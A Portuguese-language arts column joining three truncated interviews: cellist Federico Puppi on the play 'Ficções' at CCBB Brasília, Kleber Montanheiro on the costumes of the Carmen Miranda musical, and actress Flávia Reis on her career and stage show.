Batemos um papo-exclusivo com o virtuoso músico que está dividindo cena com Vera Holtz em Ficções no CCBB. Você vai se surpreender! Brasília ganhou uma bela temporada teatral nesses primeiros seis meses de 2023. No caso do Centro Cultural Banco do Brasil – CCBB, várias produções encantaram os amantes dessa arte com produções incríveis como Molière, Jorge Para Sempre Verão, Carmen – A Grande Pequena Notável e agora Ficções. Com ingressos esgotados, o monólogo que traz Vera Holtz (Prêmio Shell de Melhor Atriz 2023) interpretando o instigante texto de Rodrigo Portella (baseado no best-seller Sapiens – Uma Breve História da Humanidade), tem dado o que falar na cidade. Claro que muito do burburinho é sobre a “falta” de ingressos diante da enorme demanda. Entretanto, enquanto não tivermos mais salas e o Teatro Nacional não for revitalizado e entregue à população, infelizmente, essa será a nossa realidade, se adiantar para garantir o quanto antes um ingresso, contando com um pouco de sorte também. Dito isso, vocês devem estar se perguntando: Mas se não tem ingresso, e se a matéria sobre o espetáculo já saiu aqui no site, por que falar sobre ela mais uma vez? Simples, porque vocês precisam conhecer Federico Puppi, músico italiano que compôs a trilha sonora da peça (executada ao vivo por ele em cada apresentação) e que divide o palco com Holtz. Então a ideia é com este texto fazer uma introdução e, depois, a internet lhes ajuda chegar a qualquer lugar. Vamos nessa? Bem, o histórico dele, vocês podem conferir no site do artista, pois está tudo lá, bem bonitinho, falando que ele é radico no Brasil; começou a estudar aos 4 anos na sua terra natal; se formou erudito, para se especializou em música moderna; desde que chegou por aqui, dez anos atrás, trabalhou com grandes nomes da MPB (Gilberto Gil, Ana Carolina, Péricles, Diogo Nogueira e outros), coproduzindo o último disco de Maria Gadú, Guelã, com quem tocou por 4 anos em turnês nacionais e internacionais; lançou dois discos autorais para lá de elogiados, etc, etc. Mas no que se refere a Ficções, Federico Puppi ganhou recentemente o prêmio de melhor música na 17ª edição do prêmio APTR – Associação dos Produtores de Teatro. E apesar deste colunista não ser crítico musical, arrisco a dizer que foi merecidíssimo. Afinal, consegui assistir à peça e considero que tão grande quanto a atuação de Vera é a contribuição que o músico traz ao espetáculo, tocando virtuosamente apaixonado o seu violoncelo. Sabe quando você está num concerto musical e um solo te deixa hipnotizado? Pois bem, isso acontece diversas vezes em cena, arrancando aplausos constantes da plateia. E somente para quem prestigia a coluna PERAMBULANDO aqui no LACKMAN & CO, Puppi teve a gentileza de responder a uma entrevista exclusiva que segue na íntegra, logo abaixo. Mas não antes de deixar um último presente para vocês, o perfil do artista no Instagram para que possam segui-lo por lá e conhece-lo melhor: @federicopuppi. Boa leitura! Violoncelo não é o mais popular dos instrumentos, o que te levou até ele a partir dos 4 anos de idade? Foi paixão? Comecei a tocar violoncelo por a caso, na verdade. Ninguém na minha família é musico ou trabalha com arte. Eu nasci numa região no norte oeste da Itália, no meio das Alpes, e vivia num vilarejo pequenino de 1200 habitantes, chato Hône. Na frente da minha casa tinha uma biblioteca na qual tinham vários cursos e um dia apareceu um de violoncelo. Minha avó, que morava no apartamento em baixo do nosso, mesmo sem saber direito o que era um violoncelo e tampouco do que se tratava, ficou curiosa e me inscreveu para eu experimentar, sendo que eu só tinha 4 anos de idade. Conheci Marco Branche, que se tornaria meu primeiro maestro de violoncelo, e ele me fez experimentar esse instrumento maravilhoso, num formato menor para crianças. Alguma mágica aconteceu naquele dia, porque essa experiência me impactou de um jeito que eu nunca mais parei de tocar. O curso no qual minha avó me matriculou era o começo do método Suzuki na Itália – uma metodologia japonesa de ensino de música muito interessante que se baseia que ensina a linguagem musical assim como as crianças aprendem a linguagem verbal – percurso de estudo que segui até meus 14 anos, quando entrei no conservatório. O que fez você ir na direção da música popular ao invés da clássica? A partir da minha adolescência sempre tive interesse em outros estilos musicais. A música clássica foi para mim uma base de estudo, mas nunca me expressei plenamente através dela. Eu sentia a exigência de experimentar mais com o instrumento, de tocar algo do meu tempo. Assim comecei a tocar numa banda de rock instrumental, amplificando o violoncelo com um captador de um baixo desmontado e modificado, dentro de um amplificador de guitarra. Comecei a brincar com pedais de efeitos e um mundo novo se abriu na minha frente. Depois disso entrou na minha vida o Jazz e a improvisação, lembro que a primeira vez que ouvi John Coltrane foi uma catarse e isso me estimulou a estudar o Jazz e todas suas infinitas facetas. Foi um período libertador, sair dos dogmas do conservatório e poder inventar livremente, compor minhas músicas, tocar o violoncelo de outras formas. Para quem está a apenas 10 anos no Brasil, você já tocou com muita gente boa por aqui. Foi sorte, bons contatos, profissionalismo ou um mix de tudo isso? Nesses 10 anos de Brasil tive muitas oportunidades incríveis e toquei com muitos artistas que admiro. O Brasil tem uma riqueza musical incomparável. Assim que eu me mudei pra cá, eu nem falava português, não conhecia ninguém então foi um percurso bem sinuoso. E foi no momento mais complicado da minha vida que começaram a se apresentar algumas situações interessantes. Não sei te dizer exatamente o que foi, mas acredito que naquela época, eu estava disposto a correr atrás de qualquer possibilidade. Tocava em todo lugar:

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Kleber Montanheiro: “A roupa é um veículo de comunicação pessoal”

Carmen, a Grande Pequena Notável é imperdível! Espetáculo que conta a trajetória de Carmen Miranda tem curta temporada e já entra na sua segunda semana de exibição Este texto começa de um modo diferente, com uma pergunta que não quer calar: Querides Leitores, já assistiram “Carmen, a Grande Pequena Notável”? Ok, vocês podem estar com vontade de retrucar dizendo: “Mas como assim, se a peça só entrou em cartaz há uma semana?”. Pois é meu povo, o questionamento se faz necessário, porque já tem um tempinho (se é que vocês já não se ligaram) que as temporadas no CCBB Brasília são de apenas três semanas. Dito isso, não percam tempo, pois este colunista garante que, depois de Molière e Jorge Pra Sempre Verão, esta é mais uma das fantásticas produções que ninguém pode deixar de assistir. Com apresentações de quinta-feira até domingo (veja horários no serviço abaixo), o musical em linguagem de Teatro de Revista segue até o próximo dia 11 de junho, trazendo um resumo da carreira dessa grande estrela brasileira. Na estrada desde 2018, quando estreou em São Paulo, a produção dirigida por Kleber Montanheiro, já foi vista por milhares de pessoas. Em cena, no papel de Carmen Miranda, a premiada atriz Amanda Acosta divide o palco com Daniela Cury, Gustavo Rezende, Gabriella Britto, Jonathas Joba, Júlia Sanchez e Roma Oliveira, além dos músicos Maurício Maas, Betinho Sodré, Monique Salustiano e Fernando Patau. Inspirado no livro homônimo de Heloisa Seixas e Julia Romeu (vencedor do Prêmio FNLIJ de Melhor Livro de Não-Ficção em 2015), o espetáculo ganhador do APCA de melhor direção artística de 2022 dura cerca de 1h30. Ele se propõem a preservar e homenagear a memória dessa portuguesa naturalizada brasileira, conhecida por todos como a “pequena notável”, e se tornou um ícone musical graças à sua voz, seu gingado e balangandãs, tanto no nosso país, quanto nos Estados Unidos, entre os anos de 1930 e 1950. Eu poderia ainda escrever linhas e linhas com inúmeras razões para todo mundo ir PERAMBULANDO o quanto antes até o teatro do CCBB, mas, vou me ater somente ao fato de que, segundo um passarinho me contou, as roupas que a protagonista usa em cena foram inspiradas em desenhos originais, fruto de um trabalho de pesquisa hercúleo de Montanheiro (que também é figurinista nessa produção) e que, inclusive, já ganhou o Prêmio São Paulo de Melhor Figurino por “Carmen, a Grande Pequena Notável”. Diante disso, fizemos cinco perguntinhas para ele sobre o assunto, cujas respostas estão nesta entrevista exclusiva concedida para Lackman&CO: Além de diretor, você também é o figurinista de “Carmen, a Grande Pequena Notável” (e sei que também atua como artista visual, cenógrafo e iluminador). Por que nesta produção você também quis se jogar no figurino? Normalmente quando dirijo um espetáculo, crio a concepção visual. Muitas vezes acabo chamando um outro profissional para dialogar com essa concepção. Nesse caso do musical Carmen, a direção foi muito inspirada pela ideia das letras da cenografia e da composição de cores do figurino, do preto e branco para o colorido. Por isso acabei assinando as três criações: direção, cenários e figurinos. A direção dependia muito da dinâmica criada pelas letras do nome Carmen presentes no cenário e pela a evolução dos figurinos, onde as pequenas frutas que são bordadas nas roupas pretas e brancas vão evoluindo e aumentando até chegarem na cabeça de frutas da cena no Cassino da Urca. A partir daí os figurinos de todo o espetáculo ficam coloridos. Essa é uma ideia conceitual muito forte e que nasceu junto com a direção. O que foi mais difícil, o trabalho de pesquisa ou conseguir os tecidos, aviamentos, detalhes para fazer o figurino de Carmen? Eu acho que foi a escolha do material mesmo, pois eu necessitava de tecidos específicos e bordados que se assemelhassem ao desenho de todo guarda-roupa que foi criado. A pesquisa não foi difícil, temos muito material sobre a Carmen em livros, vídeos, etc. Acho que o grande desafio foi criar um conceito que fosse único para esse espetáculo, e não somente reproduções dos figurinos originais. A roupa é um “veículo de comunicação pessoal”, vamos assim dizer. Desse modo, o que você acha que a Carmen queria dizer ao mundo pela maneira como ela se vestia para subir ao palco? Eu vejo muito as ideias que a Carmen trouxe para o seu visual como uma explosão da nossa brasilidade. Além de buscar um estilo único, que se destacasse na época através de um certo exagero, ela ditou moda. Trouxe o sapato plataforma como uma identidade e ao mesmo tempo criou uma linguagem tropical, que acabou influenciando muitos artistas que vieram depois. Apesar de muitos dos figurinos que Carmen usou serem mais próximos ao conceito de fantasias, você considera que ela rompeu padrões? Com certeza! Eu não acredito muito na ideia de fantasias, acredito mais no conceito de amplitude, como uma lente de aumento. Acho que Carmen foi muito visionária nesse sentido. No momento onde a moda era muito comportada, Carmen abusou das cores, das caudas que se arrastavam pelo chão, dos plissados e franzidos. Além de se utilizar também de estampas, grandes e coloridas. Um abuso para a época. O sapato plataforma dela foi uma encomenda ao sapateiro que lhe disse algo do tipo, “mas isso não está na moda”, no que ela respondeu “eu nunca segui a moda”, mas deste modo ela não estaria então lançando moda? Qual a herança (ou ensinamento) fashion Carmen nos deixou? A criação do sapato plataforma segue essa mesma ideia de amplitude. Carmen era baixa de estatura, pensou no sapato para ficar mais alta. Dessa forma ela rompe padrões a partir das suas necessidades e claro, acaba lançando moda. Isso se dá com a identificação de outras mulheres, que se sentem libertas, acreditando em si mesmas, querendo mostrar ao mundo a sua voz. A moda nasce sempre desse rompimento de padrões. A partir de pessoas que não se identificam, que enxergam como óbvio e resolvem se mostrar de uma

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Flávia Reis: “Estou experimentando todas as minhas formas de atuação”

Atriz com ampla formação, Flávia Reis está em cartaz no teatro ao lado de Ricardo Cubba, na TV aberta na novela Travessia e no streaming em reality show que desafia humoristas a não cometer a gafe de rir de si e dos outros Rolando o feed do Instagram ou passeando pela for you do Tiktok, certamente você já viu uma cena icônica de “Vai Que Cola” em que o saudoso Paulo Gustavo, está em cena com Marcos Majella e Flávia Reis. Na cena, a personagem muambeira de Flávia se enrola com um certo “quáquáquá!” e gargalhadas tomam conta de todos os expectadores. Um mix de emoção, ao lembrar de PG, e de aclamação ao elenco que fazem a cena bate em qualquer ser humano que tenha capacidade de reconhecer talentos verdadeiros quando os vê. Flávia Guimarães Reis, é uma carioca, nascida em 1975, década mais hippie da história, mas que não faz dela apenas uma descendente da década mais livre e colorida de todas. Flávia é talento puro. Passeia com uma facilidade gigante pelas mais variadas escolas da atuação. É formada pela Universidade Federal do Estado do Rio de Janeiro (UniRio), e tem em sua trajetória comédias, séries, humorísticos, assinatura de roteiros e direção de espetáculos. Versatilidade podia ser seu último nome, mas Flávia é modesta e acredita que tudo depende de parcerias que fazem o sucesso chegar e ficar por onde passam seus encontros. Atualmente faz parte do elenco estrelado de “Travessia” (Rede Globo), e em seu currículo, há passagem pela Escola Nacional de Circo e cursos com referências da comédia internacional como Léo Bassi (Espanha) e Nani Colombaioni (Itália). O espetáculo “Neurótica!”, em faz diversos personagens a ensinou a trabalhar o cotidiano feminino de forma direta e cheia de cacos da versatilidade da mulher. A vencedora do “LOL – Brasil, se Rir Já Era”, da Prime Vídeo, Flávia também faz parte do elenco da série “Sem Filtro”, da Netflix, vivendo a Val, mãe das protagonistas Mel Maia e Ademara. Dá uma olhada na entrevista exclusiva que ela nos concedeu sobre carreira, arte e o espetáculo “Deixa que eu conto”, em cartaz no Teatro da UNIP, nos dias 6 e 7 de maio, no qual divide cena com o também super ator Ricardo Cubba e que conta com direção de Fernando Caruso. Sua formação com um enorme portfólio de grandes nomes até internacionais te deu uma porção de possibilidades em atuação em dramas, comédia e até circo, mas foi no humor do cotidiano que você conquistou um público fã. Foi um acaso ou já era um sonho seu desde sempre? Foi por acaso. Acredito que as redes sociais deram vazão ao meu olhar bem-humorado e cômico para o drama do cotidiano. Eu gosto de falar sobre temas que poderiam nos afligir, pequenas coisas que nos tiram sério, e que podemos encarar com leveza se rirmos delas. Gosto de transformar temas corriqueiros que irritam a todos em questões banais. A identificação do público com esses temas é imediata. O “Neurótica!” foi um ponto de partida muito intenso e já era uma reunião de suas experimentações de personagens. Você acredita em aposentadoria de personagens? Aquelas mulheres do Neurótica! evoluíram ou revivem o momento em que foram criadas lá atrás? Aquelas mulheres que criei para Neurótica não são datadas. São arquetípicas e seguem na peça porque tocam em questões que são do homem e da mulher contemporânea. Eu faço pequenos ajustes no texto sempre, mas é muito pouco. A peça tem 10 anos e continua encantando o público. Daqui a 40 anos eu poderei talvez avaliar, se ficou datada. Mas talvez eu não consiga mais fazer as 10 personagens com a mesma desenvoltura (risos). Nesse momento, fazendo Travessia, e atuando sob a ótica de assuntos relevantes para a sociedade como o caso de abuso da filha de sua personagem Marineide, você consegue vislumbrar a melhoria do olhar do público sobre a arte da atuação? Eu no momento faço vídeos de humor para a internet, faço séries e filmes para o streaming, estou em turnê com meu show de humor no teatro e faço novela tocando em um tema bastante relevante para a sociedade, através do drama de uma família. É um momento muito especial para mim pois estou experimentando minhas possibilidades de atuação em todos esses veículos. E o público olha para mim e comenta: “caramba, você é uma artista mesmo”. Eu estou muito feliz por estar “juntando os pontos” para quem ainda não reconhecia a força de um trabalho artístico e o tanto de dedicação e profissionalismo que ele exige. Sim, a pessoa engraçada dos vídeos da internet faz chorar na novela pois estuda e se dedica a essa profissão. Você foi consagrada vencedora do LOL Brasil, um reality de humor sobre não rir do próprio humor. Lidar com essas dualidades faz parte da carreira, assim como estar em cena ao lado do Ricardo Cubba com um humorístico nos palcos, enquanto vive um drama pesado na fase final de Travessia. A Flávia, mulher brasileira, politizada, vive bem dentro deste corpo que empresta tanta emoção às personagens? Essa dualidade mexe com a Flávia de hoje? Eu estou num momento pleno de realização. Não tem felicidade maior para uma atriz do que ser desafiada no seu campo de criação. Eu empresto minha voz e meu corpo às minhas personagens, falo sobre o que penso através do meu humor – ácido e irônico – nas redes sociais, e construo personagens para dar voz ao texto de outros roteiristas em filmes e na novela. Eu me formei como palhaça trabalhando durante 10 anos em hospitais, onde o que eu tinha de mais importante a fazer era estar disponível e permeável para as pessoas que eu encontrasse nas enfermarias. Transitar com afeto por onde os afetos me levassem. E é o que eu disponibilizo agora no meu trabalho. Estou muito feliz em poder mostrar tudo isso ao público. O “Deixa que eu conto” é a celebração de uma grande ideia de vocês sobre misturar stand-up

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